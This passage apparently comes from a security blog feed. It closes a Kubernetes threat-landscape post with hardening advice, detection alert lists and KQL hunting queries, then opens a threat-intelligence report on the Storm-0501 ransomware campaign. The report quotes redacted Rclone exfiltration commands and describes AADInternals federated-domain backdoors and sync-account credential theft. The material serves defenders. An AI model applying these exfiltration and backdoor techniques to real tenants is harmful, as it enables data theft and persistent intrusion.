• Leverage Admission Controllers: Configure policies to prevent containers from being deployed from untrusted registries, from running out of alignment with the minimal Pod Security Standard that fits the pod requirement (such as restricting root privileges), and from utilizing too many resources in the event of a denial-of-service attack. These can be enforced with Azure Policy Add-On for Kubernetes.
• Gate deployments of vulnerable images: Ensure that the containers being deployed are free of vulnerabilities and misconfigurations by running a vulnerability scan in the Build and Ship phases. Any image with high or critical severity vulnerabilities should be blocked from deployment.

Container runtime refers to the phase of the lifecycle where containers are running on the virtual hosts. During runtime, monitor your running containers for any new vulnerabilities that might have been introduced during runtime. In cases where a container image was not scanned in build time or in registry before being deployed to the cluster, Microsoft Defender Vulnerability Management supports Azure vulnerability assessments.

Additionally, monitor each node, pod, and container during runtime for any sort of anomalous or malicious activity that may be occurring:

• Look for malicious API calls and unusual activity using a monitoring system to identify any unusual Kubernetes API server requests for malicious activity. Defenders can query Kubernetes API calls in Defender XDR advanced hunting using the CloudAuditEvents table.
• For AKS clusters, Container Insights offers the ability to collect Syslog events from Linux nodes, to then be accessed within Azure’s built-in workbooks.

Defender for Containers’ Agentless discovery for Kubernetes provides API-based discovery of Kubernetes clusters, their configurations, and deployments. Defender for Cloud also identifies runtime threats at both the API level and the workload level. Additionally, organizations can use Microsoft Defender for Cloud to identify and remediate attack paths to address any potential attack vectors.

Secure user accounts and permissions

Attackers are increasingly using compromised identities for initial access and for establishing long-term persistence within an environment. If a compromised user has access to Kubernetes services, an attacker could use that identity to access those services using portal access or the command-line interface. In cases where Kubernetes clusters are deployed in public clouds (such as AKS in Azure or GKE in Google Cloud Platform (GCP)), compromised cloud credentials could lead to cluster takeover as attackers who have access to account credentials can get access to the cluster’s management layer.

The following recommendations, focused on requiring strong authentication to services and following the principle of least privilege, can help secure cloud credentials from compromise:

• Use strong authentication when exposing sensitive interfaces to the internet. For example, attacks were observed against exposed Kubeflow and Argo workloads that were not configured to use OpenID Connect or other authentication methods.
• Use strong authentication methods to the Kubernetes API to help prevent attackers from gaining access to the cluster even if valid credentials such as kubeconfig were achieved. For example, in AKS use Entra ID authentication instead of basic authentication. By using Entra ID authentication, a short-lived credential of the cluster is retrieved after authenticating to Entra ID.
• Avoid using the read-only endpoint of Kubelet in port 10255, which doesn’t require authentication. In newer versions of managed clusters, this port is disabled.
• Implement multifactor authentication (MFA).
• Configure the Kubernetes role-based access controls (RBAC) for each user and service accounts to have only necessary permissions. This applies also to other external authorization providers such as Azure RBAC in AKS.
• In a managed cluster, Kubernetes credentials are often retrieved or generated by the cloud provider through API call. To reduce the attack surface, grant permissions to the cloud provider API only to necessary accounts. In the case of Azure, make sure that only required identities have permissions to call: /subscriptions/resourceGroups/providers/Microsoft.ContainerService/managedClusters/listClusterUserCredential
• The kubeconfig file can contain credentials of accounts that allow interaction with a cluster. By applying the least privilege principle to all accounts, you can limit the impact of an account compromised through the kubeconfig file. To further limit misuse of the kubeconfig file, enable Microsoft Entra-based authentication to AKS and disable the local admin account, avoiding the use of the kubeconfig file altogether.

The Kubernetes project also lists the following recommendations for permissions and role assignment best practices:

• Avoid wildcard permissions, especially to all resources.
• Use RoleBinding instead of ClusterAdminBinding to give access within a namespace.
• Avoid adding users to the system:master group as it bypasses RBAC.
• Use impersonation rights for admins instead of adding to the cluster admin role. Audit and monitor when impersonation is being done.
• Avoid granting the escalate or bind permissions to roles when not needed, audit and monitor when escalation is being made.
• Avoid adding users to the system:unauthenticated group.
• Limit permissions to issue certificate signing requests (CSR) and certificates.
• Avoid granting users with create rights on service accounts/token, which could be exploited to create TokenRequests and issue tokens for existing service accounts.
• Users with control over validatingwebhookconfigurations or mutatingwebhookconfigurations can control webhooks that can read any object admitted to the cluster, and in the case of mutating webhooks, also mutate admitted objects

Secure container images

• Secure the CI/CD environment. Secure code repositories and CI/CD environment by placing gates to restrict unauthorized access and modification of content. This can include enforcing RBAC permissions to access and make changes to code, artifacts and build pipelines, ensure governed process for pull-request approval, apply branch policies and others.
• Apply image assurance policy to evaluate container images against vulnerabilities, malware, exposed secrets or other policies. By ensuring consistent and comprehensive image assurance policy across the build, ship, and run development stages. One approach of ensuring images pass assurance or compliance checks it to sign the container images, so the image signature can be checked downstream when deploying to Kubernetes clusters at runtime.
• Take and store data backups from pod-mounted volumes for critical workloads. Ensure backup and storage systems are hardened and kept separate from the Kubernetes environment to prevent compromise.

Restrict network traffic

The Kubernetes API server is the gateway to the cluster. Restricting access to the API server, as well as restricting how pods can communicate, can prevent unwanted access to the clusters management, even if an adversary gained valid credentials to the cluster. The following best practices can help harden clusters against attacks.

• Restrict access to the API server using intrusion detection signatures, network policies, and a web application firewall to block traffic at network boundaries to pods and services in a Kubernetes cluster. In managed clusters, cloud providers often support native built-in firewalls, which can restrict the IP addresses that are allowed to access the API server.
  • Implement a Next-Generation Firewall (NGFW) such as Azure Firewall, which offers a solution for AKS to monitor inbound and outbound traffic. You can integrate Azure Firewall as well as several third-party firewalls into Azure Sentinel to accumulate all logs into a centralized location. AKS also supports Retina, a cloud-agnostic platform for analysis of Kubernetes’ workload traffic.
  • Use Kubernetes network policies to control traffic and manage how pods communicate.
  • Adapt a network intrusion prevention solution to a Kubernetes environment if needed, in order to route network traffic destined to services through the security solution. In some cases, this can be done by deploying a containerized version of a network intrusion prevention solution to the Kubernetes cluster and be part of the cluster network, and in some cases, routing ingress traffic to Kubernetes services through an external appliance, requiring that all ingress traffic only come from such an appliance.
• Enable Just In Time (JIT) access to the API server through Microsoft Entra conditional access. Employing JIT elevated access to the Kubernetes API server helps reduce the attack surface by allowing access only at specific times, and through a governed escalation process. Enabling JIT access in Kubernetes is often done together with OpenID authentication, which includes processes and tools to manage JIT access. One example of such OpenID authentication is Azure Active Directory authentication to Kubernetes clusters. The JIT approval is performed in the cloud control plane level. Therefore, even if attackers have access to account credentials, their access to the cluster is limited.
• Limit access to services over network. Avoid exposing sensitive interfaces insecurely to the internet or limit access to it. Sensitive interfaces include management tools and applications that allow the creation of new containers in the cluster. Some of those services do not use authentication by default and are not intended to be exposed. Examples of services that were exploited include Weave Scope, Apache NiFi, and more.
  • If services need to be exposed to the internet and are exposed using a LoadBalancer service, use IP restriction (loadBalancerSourceRanges) when possible. This reduces the attack surface of the application and can prevent attackers from being able to reach the sensitive interfaces.

Detection details

Microsoft Defender for Cloud

Microsoft Defender for Containers provides security alerts on the cluster level and on the underlying cluster nodes by monitoring both the control plane (the API server) and the containerized workload itself.

• Exposed Postgres service with trust authentication configuration in Kubernetes detected (Preview)
• Exposed Postgres service with risky configuration in Kubernetes detected (Preview)
• Attempt to create a new Linux namespace from a container detected
• A history file has been cleared
• Abnormal activity of managed identity associated with Kubernetes (Preview)
• Abnormal Kubernetes service account operation detected
• An uncommon connection attempt detected
• Attempt to stop apt-daily-upgrade.timer service detected
• Behavior similar to common Linux bots detected (Preview)
• Command within a container running with high privileges
• Container running in privileged mode
• Container with a sensitive volume mount detected
• CoreDNS modification in Kubernetes detected
• Creation of admission webhook configuration detected
• Detected file download from a known malicious source
• Detected suspicious file download
• Detected suspicious use of the nohup command
• Detected suspicious use of the useradd command
• Digital currency mining container detected
• Digital currency mining related behavior detected
• Docker build operation detected on a Kubernetes node
• Exposed Kubeflow dashboard detected
• Exposed Kubernetes dashboard detected
• Exposed Kubernetes service detected
• Exposed Redis service in AKS detected
• Indicators associated with DDOS toolkit detected
• K8S API requests from proxy IP address detected
• Kubernetes events deleted
• Kubernetes penetration testing tool detected
• New container in the kube-system namespace detected
• New high privileges role detected
• Possible attack tool detected
• Possible backdoor detected
• Possible command line exploitation attempt
• Possible credential access tool detected
• Possible Cryptocoinminer download detected
• Possible Log Tampering Activity Detected
• Possible password change using crypt-method detected
• Potential port forwarding to external IP address
• Potential reverse shell detected
• Privileged container detected
• Process associated with digital currency mining detected
• Process seen accessing the SSH authorized keys file in an unusual way
• Role binding to the cluster-admin role detected
• Security-related process termination detected
• SSH server is running inside a container
• Suspicious file timestamp modification
• Suspicious request to Kubernetes API
• Suspicious request to the Kubernetes Dashboard
• Potential crypto coin miner started
• Suspicious password access
• Possible malicious web shell detected
• Burst of multiple reconnaissance commands could indicate initial activity after compromise
• Suspicious Download Then Run Activity
• Access to kubelet kubeconfig file detected
• Access to cloud metadata service detected
• MITRE Caldera agent detected

Recent updates to Microsoft Defender for Cloud enhance its container security capabilities from development to runtime. Defender for Cloud now offers enhanced discovery, providing agentless visibility into Kubernetes environments, tracking containers, pods, and applications. The updates also strengthen security posture through continuous and granular scanning from build to runtime, helping maintain compliance and secure configurations across the SDLC.

Defender for Cloud’s native integration with Defender XDR enables threat protection with real-time monitoring, prioritizing vulnerabilities based on risk and enabling SOC analysts to detect and respond to threats faster through rich contextual insights and cloud-native response tools

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint also detects threats on endpoints running container hosts, focusing on suspicious behavior commonly observed on endpoints, including stealing locally stored credentials for accessing the cloud, downloading and running malicious images, and privilege escalation from dockers to hosts.

Microsoft Defender External Attack Surface Management

Microsoft Defender External Attack Surface Management detects Docker and Kubernetes instances with known vulnerabilities or misconfigurations using the following alerts:

• ASI: Open Docker Daemon API Service
• ASI: Unauthenticated Kubelet API

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

In addition to the below hunting queries, the open-source tool KubiScan, developed by CyberArk Labs, can be used to scan clusters for risky permissions and users. Results can be used to manage RBAC within the environment and eliminate unnecessary permissions; it can also be used in incident response to identify the potential exposure of compromised users.

Microsoft Defender XDR

In addition to viewing alerts and incidents within Defender XDR, you can now use Azure Resource Manager (ARM) logs as well as Kubernetes audits logs for further investigation using the advanced hunting capabilities.

If a hunting query provides a good indicator of malicious or unsanctioned activity in your environment, you can create a custom rule detection in the Defender XDR portal by going to the Advanced unting page > Manage rules > Create custom detection.

Privileged pod deployment

The following query surfaces deployment of a privileged pod:

CloudAuditEvents 
| where Timestamp > ago(1d) 
| where DataSource == "Azure Kubernetes Service" 
| where OperationName == "create" 
| where RawEventData.ObjectRef.resource == "pods" and isnull(RawEventData.ObjectRef.subresource) 
| where RawEventData.ResponseStatus.code startswith "20" 
| extend PodName = RawEventData.RequestObject.metadata.name 
| extend PodNamespace = RawEventData.ObjectRef.namespace 
| mv-expand Container = RawEventData.RequestObject.spec.containers 
| extend ContainerName = Container.name 
| where Container.securityContext.privileged == "true" 
| extend Username = RawEventData.User.username 
| project Timestamp, AzureResourceId , OperationName, IPAddress, UserAgent, PodName, PodNamespace, ContainerName, Username

Exec command

The following query identifies use of the exec command in the kube-system namespace:

CloudAuditEvents 
| where Timestamp > ago(1d) 
| where DataSource == "Azure Kubernetes Service" 
| where OperationName == "create" 
| where RawEventData.ObjectRef.resource == "pods" and RawEventData.ResponseStatus.code == 101   
| where RawEventData.ObjectRef.namespace == "kube-system" 
| where RawEventData.ObjectRef.subresource == "exec" 
| where RawEventData.ResponseStatus.code == 101 
| extend RequestURI = tostring(RawEventData.RequestURI) 
| extend PodName = tostring(RawEventData.ObjectRef.name) 
| extend PodNamespace = tostring(RawEventData.ObjectRef.namespace) 
| extend Username = tostring(RawEventData.User.username) 
| where PodName !startswith "tunnelfront-" and PodName !startswith "konnectivity-" and PodName !startswith "aks-link" 
| extend Commands =  extract_all(@"command=([^\&]*)", RequestURI) 
| extend ParsedCommand = url_decode(strcat_array(Commands, " ")) 
| project Timestamp, AzureResourceId , OperationName, IPAddress, UserAgent, PodName, PodNamespace,  Username, ParsedCommand

Cluster-admin role binding

The following query identifies the creation of cluster-admin role binding:

CloudAuditEvents 
| where Timestamp > ago(1d) 
| where OperationName == "create" 
| where RawEventData.ObjectRef.resource == "clusterrolebindings" 
| where RawEventData.ResponseStatus.code startswith "20" 
| where RawEventData.RequestObject.roleRef.name == "cluster-admin" 
| mv-expand Subject = RawEventData.RequestObject.subjects 
| extend SubjectName = tostring(Subject.name) 
| extend SubjectKind = tostring(Subject["kind"])  
| extend BindingName = tostring(RawEventData.ObjectRef.name) 
| extend ActionTakenBy = tostring(RawEventData.User.username) 
| where ActionTakenBy != "acsService" //Remove FP 
| project Timestamp, AzureResourceId , OperationName, ActionTakenBy, IPAddress, UserAgent, BindingName, SubjectName, SubjectKind 

References

• KubiScan
• Learn Kubernetes Basics

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Understanding the threat landscape for Kubernetes and containerized assets appeared first on Microsoft Security Blog.

Microsoft has observed the threat actor tracked as Storm-0501 launching a multi-staged attack where they compromised hybrid cloud environments and performed lateral movement from on-premises to cloud environment, leading to data exfiltration, credential theft, tampering, persistent backdoor access, and ransomware deployment. The said attack targeted multiple sectors in the United States, including government, manufacturing, transportation, and law enforcement. Storm-0501 is a financially motivated cybercriminal group that uses commodity and open-source tools to conduct ransomware operations.

Storm-0501 has been active as early as 2021, initially observed deploying the Sabbath(54bb47h) ransomware in attacks targeting US school districts, publicly leaking data for extortion, and even directly messaging school staff and parents. Since then, most of the threat actor’s attacks have been opportunistic, as the group began operating as a ransomware-as-a-service (RaaS) affiliate deploying multiple ransomware payloads developed and maintained by other threat actors over the years, including Hive, BlackCat (ALPHV), Hunters International, LockBit, and most recently, Embargo ransomware. The threat actor was also recently observed targeting hospitals in the US.

Storm-0501 is the latest threat actor observed to exploit weak credentials and over-privileged accounts to move from organizations’ on-premises environment to cloud environments. They stole credentials and used them to gain control of the network, eventually creating persistent backdoor access to the cloud environment and deploying ransomware to the on-premises. Microsoft previously observed threat actors such as Octo Tempest and Manatee Tempest targeting both on-premises and cloud environments and exploiting the interfaces between the environments to achieve their goals.

As hybrid cloud environments become more prevalent, the challenge of securing resources across multiple platforms grows ever more critical for organizations. Microsoft is committed to helping customers understand these attacks and build effective defenses against them.

In this blog post, we will go over Storm-0501’s tactics, techniques, and procedures (TTPs), typical attack methods, and expansion to the cloud. We will also provide information on how Microsoft detects activities related to this kind of attack, as well as provide mitigation guidance to help defenders protect their environment.

Analysis of the recent Storm-0501 campaign

On-premises compromise

Initial access and reconnaissance

Storm-0501 previously achieved initial access through intrusions facilitated by access brokers like Storm-0249 and Storm-0900, leveraging possibly stolen compromised credentials to sign in to the target system, or exploiting various known remote code execution vulnerabilities in unpatched public-facing servers. In a recent campaign, Storm-0501 exploited known vulnerabilities in Zoho ManageEngine (CVE-2022-47966), Citrix NetScaler (CVE-2023-4966), and ColdFusion 2016 application (possibly CVE-2023-29300 or CVE-2023-38203). In cases observed by Microsoft, these initial access techniques, combined with insufficient operational security practices by the targets, provided the threat actor with administrative privileges on the target device.

After gaining initial access and code execution capabilities on the affected device in the network, the threat actor performed extensive discovery to find potential desirable targets such as high-value assets and general domain information like Domain Administrator users and domain forest trust. Common native Windows tools and commands, such as systeminfo.exe, net.exe, nltest.exe, tasklist.exe, were leveraged in this phase. The threat actor also utilized open-source tools like ossec-win32 and OSQuery to query additional endpoint information. Additionally, in some of the attacks, we observed the threat actor running an obfuscated version of ADRecon.ps1 called obfs.ps1 or recon.ps1 for Active Directory reconnaissance.

Following initial access and reconnaissance, the threat actor deployed several remote monitoring and management tools (RMMs), such as Level.io, AnyDesk, and NinjaOne to interact with the compromised device and maintain persistence.

Credential access and lateral movement

The threat actor took advantage of admin privileges on the local devices it compromised during initial access and attempted to gain access to more accounts within the network through several methods. The threat actor primarily utilized Impacket’s SecretsDump module, which extracts credentials over the network, and leveraged it across an extensive number of devices to obtain credentials. The threat actor used the compromised credentials to access more devices in the network and then leveraged Impacket again to collect additional credentials. The threat actor then repeated this process until they compromised a large set of credentials that potentially included multiple Domain Admin credentials.

In addition, the threat actor was observed attempting to gather secrets by reading sensitive files and in some cases gathering KeePass secrets from the compromised devices. The threat actor used EncryptedStore’s Find-KeePassConfig.ps1 PowerShell script to output the database location and keyfile/user master key information and launch the KeePass executable to gather the credentials. We assess with medium confidence that the threat actor also performed extensive brute force activity on a few occasions to gain additional credentials for specific accounts.

The threat actor was observed leveraging Cobalt Strike to move laterally across the network using the compromised credentials and using the tool’s command-and-control (C2) capabilities to directly communicate with the endpoints and send further commands. The common Cobalt Strike Beacon file types used in these campaigns were .dll files and .ocx files that were launched by rundll32.exe and regsvr32.exe respectively. Moreover, the “license_id” associated with this Cobalt Strike Beacon is “666”.  The “license_id” definition is commonly referred to as Watermark and is a nine-digit value that is unique per legitimate license provided by Cobalt Strike. In this case, the “license_id” was modified with 3-digit unique value in all the beacon configurations.

In cases we observed, the threat actor’s lateral movement across the campaign ended with a Domain Admin compromise and access to a Domain Controller that eventually enabled them to deploy ransomware across the devices in the network.

Data collection and exfiltration

The threat actor was observed exfiltrating sensitive data from compromised devices. To exfiltrate data, the threat actor used the open-source tool Rclone and renamed it to known Windows binary names or variations of them, such as svhost.exe or scvhost.exe as masquerading means. The threat actor employed the renamed Rclone binaries to transfer data to the cloud, using a dedicated configuration that synchronized files to public cloud storage services such as MegaSync across multiple threads. The following are command line examples used by the threat actor in demonstrating this behavior:

• Svhost.exe copy –filter-from [REDACTED] [REDACTED] config:[REDACTED] -q –ignore-existing –auto-confirm –multi-thread-streams 11 –transfers 11
• scvhost.exe –config C:WindowsDebuga.conf copy [REDACTED UNC PATH] [REDACTED]

Defense evasion

The threat actor attempted to evade detection by tampering with security products in some of the devices they got hands-on-keyboard access to. They employed an open-source tool, resorted to PowerShell cmdlets and existing binaries to evade detection, and in some cases, distributed Group Policy Object (GPO) policies to tamper with security products.

On-premises to cloud pivot

In their recent campaign, we noticed a shift in Storm-0501’s methods. The threat actor used the credentials, specifically Microsoft Entra ID (formerly Azure AD), that were stolen from earlier in the attack to move laterally from the on-premises to the cloud environment and establish persistent access to the target network through a backdoor.

Storm-0501 was observed using the following attack vectors and pivot points on the on-premises side to gain subsequent control in Microsoft Entra ID:

Microsoft Entra Connect Sync account compromise

Microsoft Entra Connect, previously known as Azure AD Connect, is an on-premises Microsoft application that plays a critical role in synchronizing passwords and sensitive data between Active Directory (AD) objects and Microsoft Entra ID objects. Microsoft Entra Connect synchronizes the on-premises identity and Microsoft Entra identity of a user account to allow the user to sign in to both realms with the same password. To deploy Microsoft Entra Connect, the application must be installed on an on-premises server or an Azure VM. To decrease the attack surface, Microsoft recommends that organizations deploy Microsoft Entra Connect on a domain-joined server and restrict administrative access to domain administrators or other tightly controlled security groups. Microsoft Incident Response also published recommendations on preventing cloud identity compromise.

Microsoft Entra Connect Sync is a component of Microsoft Entra Connect that synchronizes identity data between on-premises environments and Microsoft Entra ID. During the Microsoft Entra Connect installation process, at least two new accounts (more accounts are created if there are multiple forests) responsible for the synchronization are created, one in the on-premises AD realm and the other in the Microsoft Entra ID tenant. These service accounts are responsible for the synchronization process.

The on-premises account name is prefixed with “MSOL_” and has permissions to replicate directory changes, modify passwords, modify users, modify groups, and more (see full permissions here).

The cloud Microsoft Entra ID account is prefixed with “sync_<Entra Connect server name>_” and has the account display name set to “On-Premises Directory Synchronization Service Account”. This user account is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here). Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync and helps prevent abuse.

The on-premises and cloud service accounts conduct the syncing operation every few minutes, similar to Password Hash Synchronization (PHS), to uphold real time user experience. Both user accounts mentioned above are crucial for the Microsoft Entra Connect Sync service operations and their credentials are saved encrypted via DPAPI (Data Protection API) on the server’s disk or a remote SQL server.

We can assess with high confidence that in the recent Storm-0501 campaign, the threat actor specifically located Microsoft Entra Connect Sync servers and managed to extract the plain text credentials of the Microsoft Entra Connect cloud and on-premises sync accounts. We assess that the threat actor was able to achieve this because of the previous malicious activities described in this blog post, such as using Impacket to steal credentials and DPAPI encryption keys, and tampering with security products.

Following the compromise of the cloud Directory Synchronization Account, the threat actor can authenticate using the clear text credentials and get an access token to Microsoft Graph. The compromise of the Microsoft Entra Connect Sync account presents a high risk to the target, as it can allow the threat actor to set or change Microsoft Entra ID passwords of any hybrid account (on-premises account that is synced to Microsoft Entra ID).

Cloud session hijacking of on-premises user account

Another way to pivot from on-premises to Microsoft Entra ID is to gain control of an on-premises user account that has a respective user account in the cloud. In some of the Storm-0501 cases we investigated, at least one of the Domain Admin accounts that was compromised had a respective account in Microsoft Entra ID, with multifactor authentication (MFA) disabled, and assigned with a Global Administrator role. It is important to mention that the sync service is unavailable for administrative accounts in Microsoft Entra, hence the passwords and other data are not synced from the on-premises account to the Microsoft Entra account in this case. However, if the passwords for both accounts are the same, or obtainable by on-premises credential theft techniques (i.e. web browsers passwords store), then the pivot is possible.

If a compromised on-premises user account is not assigned with an administrative role in Microsoft Entra ID and is synced to the cloud and no security boundaries such as MFA or Conditional Access are set, then the threat actor could escalate to the cloud through the following:

1. If the password is known, then logging in to Microsoft Entra is possible from any device.
2. If the password is unknown, the threat actor can reset the on-premises user password, and after a few minutes the new password will be synced to the cloud.
3. If they hold credentials of a compromised Microsoft Entra Directory Synchronization Account, they can set the cloud password using AADInternals’ Set-AADIntUserPassword cmdlet.

If MFA for that user account is enabled, then authentication with the user will require the threat actor to tamper with the MFA or gain control of a device owned by the user and subsequently hijack its cloud session or extract its Microsoft Entra access tokens along with their MFA claims.

MFA is a security practice that requires users to provide two or more verification factors to gain access to a resource and is a recommended security practice for all users, especially for privileged administrators. A lack of MFA or Conditional Access policies limiting the sign-in options opens a wide door of possibilities for the attacker to pivot to the cloud environment, especially if the user has administrative privileges. To increase the security of admin accounts, Microsoft is rolling out additional tenant-level security measures to require MFA for all Azure users.

Impact

Cloud compromise leading to backdoor

Following a successful pivot from the on-premises environment to the cloud through the compromised Microsoft Entra Connect Sync user account or the cloud admin account compromised through cloud session hijacking, the threat actor was able to connect to Microsoft Entra (portal/MS Graph) from any device, using a privileged Microsoft Entra ID account, such as a Global Administrator, and was no longer limited to the compromised devices.

Once Global Administrator access is available for Storm-0501, we observed them creating a persistent backdoor access for later use by creating a new federated domain in the tenant. This backdoor enables an attacker to sign in as any user of the Microsoft Entra ID tenant in hand if the Microsoft Entra ID user property ImmutableId is known or set by the attackers. For users that are configured to be synced by the Microsoft Entra Connect service, the ImmutableId property is automatically populated, while for users that are not synced the default value is null. However, users with administrative privileges can add an ImmutableId value, regardless.

The threat actor used the open-source tool AADInternals, and its Microsoft Entra ID capabilities to create the backdoor. AADInternals is a PowerShell module designed for security researchers and penetration testers that provides various methods for interacting and testing Microsoft Entra ID and is commonly used by Storm-0501. To create the backdoor, the threat actor first needed to have a domain of their own that is registered to Microsoft Entra ID. The attacker’s next step is to determine whether the target domain is managed or federated. A federated domain in Microsoft Entra ID is a domain that is configured to use federation technologies, such as Active Directory Federation Services (AD FS), to authenticate users. If the target domain is managed, then the attackers need to convert it to a federated one and provide a root certificate to sign future tokens upon user authentication and authorization processes. If the target domain is already federated, then the attackers need to add the root certificate as “NextSigningCertificate”.

Once a backdoor domain is available for use, the threat actor creates a federation trust between the compromised tenant, and their own tenant. The threat actor uses the AADInternals commands that enable the creation of Security Assertion Markup Language (SAML or SAML2) tokens, which can be used to impersonate any user in the organization and bypass MFA to sign in to any application. Microsoft observed the actor using the SAML token sign in to Office 365.

On-premises compromise leading to ransomware

Once the threat actor achieved sufficient control over the network, successfully extracted sensitive files, and managed to move laterally to the cloud environment, the threat actor then deployed the Embargo ransomware across the organization. We observed that the threat actor did not always resort to ransomware distribution, and in some cases only maintained backdoor access to the network.

Embargo ransomware is a new strain developed in Rust, known to use advanced encryption methods. Operating under the RaaS model, the ransomware group behind Embargo allows affiliates like Storm-0501 to use its platform to launch attacks in exchange for a share of the ransom. Embargo affiliates employ double extortion tactics, where they first encrypt a victim’s files and threaten to leak stolen sensitive data unless a ransom is paid.

In the cases observed by Microsoft, the threat actor leveraged compromised Domain Admin accounts to distribute the Embargo ransomware via a scheduled task named “SysUpdate” that was registered via GPO on the devices in the network. The ransomware binaries names that were used were PostalScanImporter.exe and win.exe. Once the files on the target devices were encrypted, the encrypted files extension changed to .partial, .564ba1, and .embargo.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync as part of ongoing security hardening. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks.

Customers may also refer to Microsoft’s human-operated ransomware overview for general hardening recommendations against ransomware attacks.

The other techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID environments to slow and stop attackers.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID sync accounts from untrusted IP addresses to all cloud apps. The Microsoft Entra ID sync account is identified by having the role ‘Directory Synchronization Accounts’. Please refer to the Advanced Hunting section and check the relevant query to get those IP addresses.
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Follow Microsoft’s best practices for securing Active Directory Federation Services.  
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Azure AD environment can be found by referring.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID sync account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based conditional access policies to remediate risky sign-ins.
• Turn on tamper protection features to prevent attackers from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Refer to the recommendations in our attacker technique profile, including use of Windows Defender Application Control or AppLocker to create policies to block unapproved information technology (IT) management tools to protect against the abuse of legitimate remote management tools like AnyDesk or Level.io.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Detection details

Alerts with the following names can be in use when investigating the current campaign of Storm-0501.

Microsoft Defender XDR detections

Microsoft Defender Antivirus 

Microsoft Defender Antivirus detects the Cobalt Strike Beacon as the following:

• Behavior:Win32/CobaltStrike
• Backdoor:Win64/CobaltStrike
• HackTool:Win64/CobaltStrike

Additional Cobalt Strike components are detected as the following:

• TrojanDropper:PowerShell/Cobacis
• Trojan:Win64/TurtleLoader.CS
• Exploit:Win32/ShellCode.BN

Microsoft Defender Antivirus detects tools that enable Microsoft Entra ID enumeration as the following malware: 

• Backdoor:Win32/SuspAadInternalsUsage

Embargo Ransomware threat components are detected as the following:

• Ransom:Win32/Embargo

Microsoft Defender for Endpoint 

Alerts with the following titles in the security center can indicate threat activity related to Storm-0501 on your network:

• Ransomware-linked Storm-0501 threat actor detected

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. 

• Possible Adobe ColdFusion vulnerability exploitation
• Compromised account conducting hands-on-keyboard attack
• Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike)
• Ongoing hands-on-keyboard attack via Impacket toolkit
• Suspicious Microsoft Defender Antivirus exclusion
• Attempt to turn off Microsoft Defender Antivirus protection
• Renaming of legitimate tools for possible data exfiltration
• BlackCat ransomware
• ‘Embargo’ ransomware was detected and was active
• Suspicious Group Policy action detected
• An active ‘Embargo’ ransomware was detected

The following alerts might indicate on-premises to cloud pivot through Microsoft Entra Connect:

• Entra Connect Sync credentials extraction attempt
• Suspicious cmdlets launch using AADInternals
• Potential Entra Connect Tampering
• Indication of local security authority secrets theft

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate activity related to this threat:

• Data exfiltration over SMB
• Suspected DCSync attack

Microsoft Defender for Cloud Apps

Microsoft Defender for Cloud Apps can detect abuse of permissions in Microsoft Entra ID and other cloud apps. Activities related to the Storm-0501 campaign described in this blog are detected as the following:

• Backdoor creation using AADInternals tool
• Compromised Microsoft Entra ID Cloud Sync account
• Suspicious sign-in to Microsoft Entra Connect Sync account
• Entra Connect Sync account suspicious activity following a suspicious login
• AADInternals tool used by a Microsoft Entra Sync account
• Suspicious login from AADInternals tool

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2022-47966

Threat intelligence reports 

Microsoft customers can use the following reports in Microsoft Defender Threat Intelligence to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments: 

• Storm-0501

Advanced hunting 

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Microsoft Entra Connect Sync account exploration

